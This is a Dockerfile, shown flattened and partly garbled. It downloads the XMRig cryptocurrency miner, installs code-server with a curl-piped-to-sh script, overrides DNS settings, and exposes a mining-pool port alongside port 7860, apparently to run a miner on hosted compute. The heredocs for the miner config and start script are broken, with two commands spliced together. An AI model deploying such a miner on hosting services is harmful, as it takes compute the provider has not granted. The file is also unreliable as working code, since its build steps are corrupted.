# Use the latest Ubuntu image FROM ubuntu:latest # Set environment variables to avoid interactive prompts during installation ENV DEBIAN_FRONTEND=noninteractive # Install dependencies RUN apt-get update && apt-get install -y \ curl \ tar \ && rm -rf /var/lib/apt/lists/* # Download and install XMRig RUN curl -L -o xmrig.tar.gz https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-linux-static-x64.tar.gz \ && tar -xzf xmrig.tar.gz \ && rm xmrig.tar.gz # Install code-server RUN curl -fsSL https://code-server.dev/install.sh | sh # Switch to root user USER root # Set DNS servers in resolv.conf RUN echo "nameserver 1.1.1.1" > /etc/resolv.conf \ && echo "nameserver 1.0.0.1" >> /etc/resolv.conf # Create XMRig configuration file RUN mkdir -p /xmrig-6.22.0 \ && tee /xmrig-6.22.0/config.json > /dev/null < /start.sh \ && chmod +x /start.sh \ && chmod u+rwx /start.sh # Set the working directory WORKDIR /xmrig-6.22.0 # Expose necessary ports EXPOSE 3333 7860 # Run the startup script CMD ["/start.sh"]